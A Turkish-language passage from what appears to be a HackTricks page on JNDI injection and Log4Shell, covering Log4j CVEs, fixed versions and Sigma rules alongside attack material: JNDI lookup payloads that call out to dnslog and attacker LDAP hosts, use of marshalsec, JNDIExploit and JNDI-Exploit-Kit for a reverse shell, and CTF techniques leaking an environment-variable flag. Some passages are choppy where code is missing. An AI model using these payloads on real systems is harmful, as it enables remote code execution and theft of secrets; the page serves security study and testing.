* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
JNDI, Java'ya entegre edilmiş ve 1990'ların sonlarından beri bir dizin hizmeti olarak hizmet veren, Java programlarının veri veya nesneleri bir isimlendirme sistemi aracılığıyla bulmasını sağlayan bir arayüzdür. SPI'lar (Hizmet Sağlayıcı Arabirimleri) aracılığıyla çeşitli dizin hizmetlerini destekler ve uzak Java nesneleri de dahil olmak üzere farklı sistemlerden veri alınmasına izin verir. Ortak SPI'lar arasında CORBA COS, Java RMI Registry ve LDAP bulunur.
* **RMI**: JDK 7u21'den itibaren varsayılan olarak `java.rmi.server.useCodeabseOnly = true`, uzak nesne yüklemeyi kısıtlar. Bir Güvenlik Yöneticisi, neyin yüklenebileceğini daha da sınırlar.
* **LDAP**: JDK 6u141, 7u131, 8u121'den itibaren varsayılan olarak `com.sun.jndi.ldap.object.trustURLCodebase = false`, uzaktan yüklenen Java nesnelerinin yürütülmesini engeller. `true` olarak ayarlanırsa, Güvenlik Yöneticisinin denetimine gerek olmadan uzaktan kod yürütme mümkün olur.
Ancak, JNDI bağlantılarını çözen **İsimlendirme Yöneticisi**, yerleşik güvenlik mekanizmalarına sahip değildir ve bu da herhangi bir kaynaktan nesnelerin alınmasına izin verebilir. Bu durum, RMI, LDAP ve CORBA korumalarının atlatılmasına ve keyfi Java nesnelerinin yüklenmesine veya mevcut uygulama bileşenlerinin (gadget'lar) kötü amaçlı kod çalıştırmak için sömürülmesine yol açabilir.
Koruma önlemlerine rağmen, güvenlik açıkları genellikle güvenilmeyen kaynaklardan JNDI yüklenmesine karşı koruma olmaması ve mevcut korumaların atlatılma olasılığı nedeniyle devam etmektedir.
**`PROVIDER_URL`** ayarlamış olsanız bile, bir arama yaparken farklı bir URL belirtebilir ve erişilebilir: `ctx.lookup("<saldırgan-kontrollü-url>")` ve bu, bir saldırganın kendi kontrol ettiği bir sistemden keyfi nesneleri yüklemek için kötüye kullanacağı şeydir.
CORBA (Ortak Nesne İstek Broker Mimarisi), uzak nesneleri benzersiz bir şekilde tanımlamak için bir **Uyumlu Nesne Referansı (IOR)** kullanır. Bu referans, şunları içeren temel bilgileri içerir:
* Soket izni, örneğin, `permissions java.net.SocketPermission "*:1098-1099", "connect";`.
* Dosya okuma izinleri, ya evrensel olarak (`permission java.io.FilePermission "<<ALL FILES>>", "read";`) ya da kötü amaçlı dosyaların yerleştirilebileceği belirli dizinler için.
RMI (Uzak Yöntem Çağrısı) için durum biraz farklıdır. CORBA'da olduğu gibi, keyfi sınıf indirme varsayılan olarak kısıtlanmıştır. RMI'yi sömürmek için genellikle Güvenlik Yöneticisini atlatmak gerekir, bu da CORBA'da da geçerlidir.
Öncelikle, Bir **Arama** ile Bir **Arama** arasında ayrım yapmamız gerekiyor.\
Bir **arama**, `ldap://localhost:389/o=JNDITutorial` gibi bir URL kullanarak bir LDAP sunucusundan JNDITutorial nesnesini bulmak ve **özniteliklerini almak** için kullanılır.\
Bir **arama**, **isim hizmetleri** içindir çünkü **bir isme bağlı olan her şeyi almak istiyoruz**.
Bir **saldırgan, LDAP kayıtlarını zehirleyebilir ve bunlara yüksek zararlı yükler ekleyebilir** ve bu yükler, bunları toplayan sistemlerde yürütülebilir (LDAP sunucusuna erişiminiz varsa onlarca makineyi tehlikeye atmak için çok kullanışlıdır). Bunun başka bir yolunu sömürmek, örneğin bir LDAP aramasında **MitM saldırısı gerçekleştirmek** olabilir.
`trustURLCodebase``true` ise, bir saldırgan kod tabanında kendi sınıflarını sağlayabilir, aksi takdirde sınıf yolundaki gadget'ları kötüye kullanması gerekecektir.
Zafiyet, Log4j'de tanımlanan bir [**özel sözdizimi**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution) olan `${prefix:name}` biçimini desteklediği için ortaya çıkar, burada `prefix` farklı [**Aramalar**](https://logging.apache.org/log4j/2.x/manual/lookups.html)dan biridir ve `name` değerlendirilmelidir. Örneğin, `${java:version}` mevcut Java sürümünü temsil eder.
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313) bir `jndi` Araması özelliği tanıttı. Bu özellik, değişkenlerin JNDI aracılığıyla alınmasını sağlar. Genellikle anahtar otomatik olarak `java:comp/env/` ile öne eklenir. Ancak, anahtar kendisi bir **":"** içeriyorsa, bu varsayılan önek uygulanmaz.
Anahtarın içinde bir **:** olduğunda, `${jndi:ldap://ornek.com/a}` gibi, **önek yoktur** ve **LDAP sunucusu nesne için sorgulanır**. Bu Aramalar, Log4j'nin yapılandırmasında ve satırlar günlendiğinde kullanılabilir.
Bu nedenle, yalnızca RCE'ye ihtiyaç duyulan bir **Log4j sürümünün kullanıcı tarafından kontrol edilen bilgileri işlemesi** gerekir. Ve çünkü bu, Java uygulamalarının (İnternet yüzeyindeki uygulamalar dahil) bilgileri günlendirmek için yaygın olarak kullandığı bir kütüphanedir, örneğin HTTP başlıklarının alındığı gibi log4j günlendirmenin çok yaygın olduğu çok yaygın bir durumdu. Ancak, log4j sadece HTTP bilgilerini değil, geliştiricinin belirttiği herhangi bir girişi ve veriyi günlendirmek için kullanılmaz.
Bu zafiyet, `log4j-core` bileşeninde kritik bir **güvensiz serileştirme açığı** olup, 2.0-beta9'dan 2.14.1'e kadar olan sürümleri etkilemektedir. **Uzaktan kod yürütme (RCE)** sağlayarak saldırganların sistemleri ele geçirmesine olanak tanır. Sorun, Alibaba Cloud Güvenlik Ekibi'nden Chen Zhaojun tarafından bildirilmiş olup çeşitli Apache çatıları etkilemektedir. İlk düzeltme 2.15.0 sürümünde eksikti. Savunma için Sigma kuralları mevcuttur ([Kural 1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml), [Kural 2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml)).
Başlangıçta düşük derecelendirilen ancak daha sonra kritik olarak yükseltilen bu CVE, CVE-2021-44228 için 2.15.0'da eksik bir düzeltmeden kaynaklanan bir **Hizmet Reddi (DoS)** açığıdır. Varsayılan olmayan yapıları etkiler ve saldırganların hazırlanan yükler aracılığıyla DoS saldırılarına neden olmalarına olanak tanır. Bir [tweet](https://twitter.com/marcioalm/status/1471740771581652995) bir atlatma yöntemini sergilemektedir. Sorun, mesaj arama desenlerini kaldırarak ve JNDI'yi varsayılan olarak devre dışı bırakarak 2.16.0 ve 2.12.2 sürümlerinde çözülmüştür.
`JMSAppender` kullanarak varsayılan olmayan yapıları etkileyen **Log4j 1.x sürümlerini** etkileyen bu CVE, güvensiz serileştirme açığıdır. 1.x dalı için mevcut bir düzeltme bulunmamakta olup, yaşam döngüsü sona ermiştir ve `log4j-core 2.17.0`'a yükseltme önerilmektedir.
Bu zafiyet, Log4j 1.x'in halefi olan **Logback günlükleme çerçevesini** etkilemektedir. Önceden güvenli olduğu düşünülen çerçeve, savunmasız bulunmuş ve sorunu ele almak için yeni sürümler (1.3.0-alpha11 ve 1.2.9) yayımlanmıştır.
Log4j 2.16.0, bir DoS açığı içermekte olup, CVE'yi düzeltmek için `log4j 2.17.0` sürümünün yayınlanmasını gerektirmiştir. Daha fazla ayrıntıya BleepingComputer'ın [raporunda](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/) yer almaktadır.
Log4j sürüm 2.17'yi etkileyen bu CVE, saldırganın log4j yapılandırma dosyasını kontrol etmesini gerektirir. Yapılandırılmış bir JDBCAppender aracılığıyla potansiyel keyfi kod yürütme içermektedir. Daha fazla ayrıntı [Checkmarx blog gönderisinde](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/) bulunmaktadır.
veya `${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`** gibi ve bir **DNS isteği, ortam değişkeninin değeriyle alındığında**, uygulamanın zafiyetli olduğunu bilirsiniz.
JDK sürümleri 6u141, 7u131 veya 8u121'den yüksek olan ana bilgisayarlar, LDAP sınıf yükleme saldırı vektörüne karşı korunmaktadır. Bu, `com.sun.jndi.ldap.object.trustURLCodebase`'in varsayılan olarak devre dışı bırakılmasından kaynaklanmaktadır, bu da JNDI'nin LDAP aracılığıyla uzak bir kod tabanını yüklemesini engeller. Bununla birlikte, bu sürümlerin **serileştirme saldırı vektörüne karşı korunmadığını** unutmamak önemlidir.
Bu daha yüksek JDK sürümlerini sömürmeyi amaçlayan saldırganlar için, Java uygulaması içinde bir **güvenilir cihaz** kullanmak gereklidir. Bu amaçla genellikle ysoserial veya JNDIExploit gibi araçlar kullanılır. Öte yandan, daha düşük JDK sürümlerini sömürmek nispeten daha kolaydır çünkü bu sürümler, keyfi sınıfları yüklemek ve yürütmek için manipüle edilebilir.
**Daha fazla bilgi için** (_RMI ve CORBA vektörlerindeki kısıtlamalar gibi_) **önceki JNDI Naming Referans bölümünü** kontrol edin veya [https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/](https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/) adresini ziyaret edin.
Derleme işlemi için Java dosyasını bir sınıf dosyasına dönüştürün: `javac Exploit.java -source 8 -target 8`. Ardından, sınıf dosyasını içeren dizinde bir **HTTP sunucusu** başlatın: `python3 -m http.server`. **marshalsec LDAP sunucusunun** bu HTTP sunucusuna referans verdiğinden emin olun.
**Not:** Bu açık, Java'nın LDAP aracılığıyla uzaktan kod tabanı yükleme izin veren yapılandırmasına dayanmaktadır. Bu izin verilmiyorsa, keyfi kod yürütme için güvenilen bir sınıfı sömürmeyi düşünebilirsiniz.
Bazı nedenlerden dolayı yazar, log4shell keşfinden sonra bu projeyi github'dan kaldırmıştır. Bir önbelleklenmiş sürümü [https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2](https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2) adresinde bulabilirsiniz ancak yazarın kararına saygı duymak isterseniz bu zafiyeti sömürmek için farklı bir yöntem kullanın.
Ayrıca, kaynak kodunu wayback machine'de bulamazsınız, bu nedenle ya kaynak kodunu analiz edin ya da neyi yürüttüğünüzü bilmediğinizi bilerek jar dosyasını çalıştırın.
Bu örnekte, **log4shell'e karşı savunmasız web sunucusunu** 8080 numaralı bağlantı noktasında çalıştırabilirsiniz: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_README dosyasında nasıl çalıştırılacağını bulabilirsiniz_). Bu savunmasız uygulama, HTTP isteği başlığı_X-Api-Version_ içeriğini log4shell'in savunmasız bir sürümüyle günlüyor.
Kodları sadece birkaç dakika okuduktan sonra, _com.feihong.ldap.LdapServer_ ve _com.feihong.ldap.HTTPServer_ içinde **LDAP ve HTTP sunucularının nasıl oluşturulduğunu** görebilirsiniz. LDAP sunucusu, hangi yükün hizmet edilmesi gerektiğini anlayacak ve kurbanı HTTP sunucusuna yönlendirecek, bu da saldırıyı gerçekleştirecektir.\
_com.feihong.ldap.gadgets_ içinde **kullanılabilecek bazı belirli cihazlar** bulabilirsiniz (potansiyel olarak keyfi kod yürütmek için). Ve _com.feihong.ldap.template_ içinde **saldırıları oluşturacak** farklı şablon sınıflarını görebilirsiniz.
**Diğer saldırı seçeneklerini kontrol etmek için `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` komutunu hatırlayın. Ayrıca, ihtiyaç duyarsanız LDAP ve HTTP sunucularının portunu değiştirebilirsiniz.**
### Uzaktan Kod Çalıştırma (RCE) - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
_Bu saldırı, özel olarak oluşturulmuş bir java nesnesini kullanarak **THM solar room** gibi laboratuvarlarda çalışacaktır. Bununla birlikte, genel olarak çalışmayacaktır (çünkü Java varsayılan olarak LDAP kullanarak uzak kod tabanını yükleme şeklinde yapılandırılmamıştır) çünkü güvenilen bir sınıfı kötüye kullanarak keyfi kod yürütmüyor gibi görünüyor._
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) **çalışabilir JNDI bağlantıları** oluşturmak için başlangıçta RMI sunucusu, LDAP sunucusu ve HTTP sunucusu başlatarak arka plan hizmetleri sağlayan başka bir araçtır.
Bu seçenek, yalnızca belirli sınıflara güvenen **Java sürümlerini hedef almak için gerçekten kullanışlıdır ve herkese güvenmez**. Bu nedenle, **ysoserial**, **güvenilen sınıfların serileştirilmesini oluşturmak için kullanılacaktır** ve bu serileştirmeler, **keyfi kod yürütmek için kullanılabilecek araçlar** olarak kullanılabilir (_ysoserial tarafından kötüye kullanılan güvenilen sınıf, saldırının çalışabilmesi için kurban java programı tarafından kullanılmalıdır_).
**ysoserial** veya [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) kullanarak JNDI tarafından indirilecek olan deserializasyon saldırısını oluşturabilirsiniz:
Kullanarak [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kullanarak **JNDI bağlantıları** oluşturun, bu bağlantılar zafiyetli makinelerden gelen bağlantıları bekleyecektir. JNDI-Exploit-Kit tarafından otomatik olarak oluşturulan **farklı exploit'leri** veya hatta kendi **serileştirme yüklerinizi** (siz veya ysoserial tarafından oluşturulan) sunabilirsiniz.
Artık zafiyeti sömürmek ve bir **ters kabuk** elde etmek için oluşturulan JNDI bağlantısını kolayca kullanabilirsiniz: **`${ldap://10.10.14.10:1389/generated}`**
Bu [**CTF yazısı**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)nda, **Log4J**'nin bazı özelliklerinin potansiyel olarak **istismar edilebileceği** nasıl **açıklandığı** iyi bir şekilde açıklanmıştır.
> Java 8 için 2.16.0 sürümünden itibaren **mesaj aramaları özelliği tamamen kaldırılmıştır**. **Yapılandırmadaki aramalar hala çalışır**. Ayrıca, Log4j artık varsayılan olarak JNDI erişimini devre dışı bırakır. Yapılandırmadaki JNDI aramalarının açıkça etkinleştirilmesi gerekir.
> 2.17.0 sürümünden itibaren (ve Java 7 ve Java 6 için 2.12.3 ve 2.3.1), **yapılandırmadaki yalnızca arama dizeleri özyinelemeli olarak genişletilir**; diğer herhangi bir kullanımda, yalnızca üst düzey arama çözülür ve herhangi bir iç içe arama çözülmez.
Bu, varsayılan olarak herhangi bir `jndi` istismarını**kullanamayacağınızı** gösterir. Dahası, **özyinelemeli aramaları** gerçekleştirmek için bunları yapılandırmanız gerekir.
Bu [CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) sırasında saldırgan `${sys:cmd}` değerini kontrol ediyordu ve bayrağı bir ortam değişkeninden dışarı çıkarması gerekiyordu. Bu sayfada [**önceki yüklerde**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) görüldüğü gibi, **`${env:FLAG}`** gibi farklı yollarla ortam değişkenlerine erişmek mümkündür. Bu CTF'de bu işe yaramadı ancak diğer gerçek hayat senaryolarında işe yarayabilir.
CTF'de, log4J kullanarak java uygulamasının stderr'ına erişemediniz, ancak Log4J **istisnaları stdout'a gönderilir**, bu da python uygulamasında yazdırılır. Bu, bir istisna tetikleyerek içeriğe erişebileceğimiz anlamına gelir. Bayrağı dışarıya sızdırmak için bir istisna: **`${java:${env:FLAG}}`.** Bu, **`${java:CTF{blahblah}}`** mevcut olmadığı için çalışır ve bayrağın değeriyle bir istisna gösterilir:
Sadece belirtmek gerekirse, yeni [**dönüşüm desenleri**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) enjekte edebilir ve `stdout`'a kaydedilecek istisnaları tetikleyebilirsiniz. Örneğin:
Bu, hata mesajı içindeki tarihi dışarıya sızdırmak için yararlı bulunmadı, çünkü arama, dönüşüm deseninden önce çözülmedi, ancak algılama gibi diğer şeyler için yararlı olabilir.
Ancak, bazı**regexleri destekleyen dönüşüm desenleri** kullanarak, **binary search** veya **zamana dayalı** davranışları kötüye kullanarak bir aramadan bilgi dışarıya sızdırmak mümkündür.
Dönüşüm deseni **`%replace`** bir **dizgiden içeriği değiştirmek** için **regexleri** kullanabilir. Şöyle çalışır: `replace{pattern}{regex}{substitution}`\
Bu davranışı kötüye kullanarak, eğer regex, dize içinde herhangi bir şeyi eşleşirse bir istisna tetikleyebilirsiniz (eğer bulunamazsa istisna olmaz) şöyle:
Önceki bölümde belirtildiği gibi **`%replace`**, **regexleri** destekler. Bu nedenle, bayrağın bulunduğu durumda bir **zaman aşımı** oluşturmak için [**ReDoS sayfasından**](../regular-expression-denial-of-service-redos.md) bir yükleme kullanmak mümkündür.\
Bu [**yazıda**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), ReDoS saldırısı yerine yanıtta bir zaman farkı oluşturmak için bir **amplifikasyon saldırısı** kullanıldı:
> Eğer bayrak `flagGuess` ile başlıyorsa, tüm bayrak 29 `#` ile değiştirilir (Bu karakteri kullandım çünkü muhtemelen bayrağın bir parçası olmayacaktır). **Sonuç olarak elde edilen 29 `#`'den her biri ardışık olarak 54 `#` ile değiştirilir**. Bu işlem **6 kez tekrarlanır**, toplamda ` 29*54*54^6* =`` `` `**`96816014208`** **`#` oluşur!**
> Bu kadar çok `#`'nin değiştirilmesi, Flask uygulamasının 10 saniyelik zaman aşımını tetikleyecek ve bunun sonucunda kullanıcıya HTTP durum kodu 500 gönderilecektir. (Eğer bayrak `flagGuess` ile başlamıyorsa, 500 olmayan bir durum kodu alacağız)
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**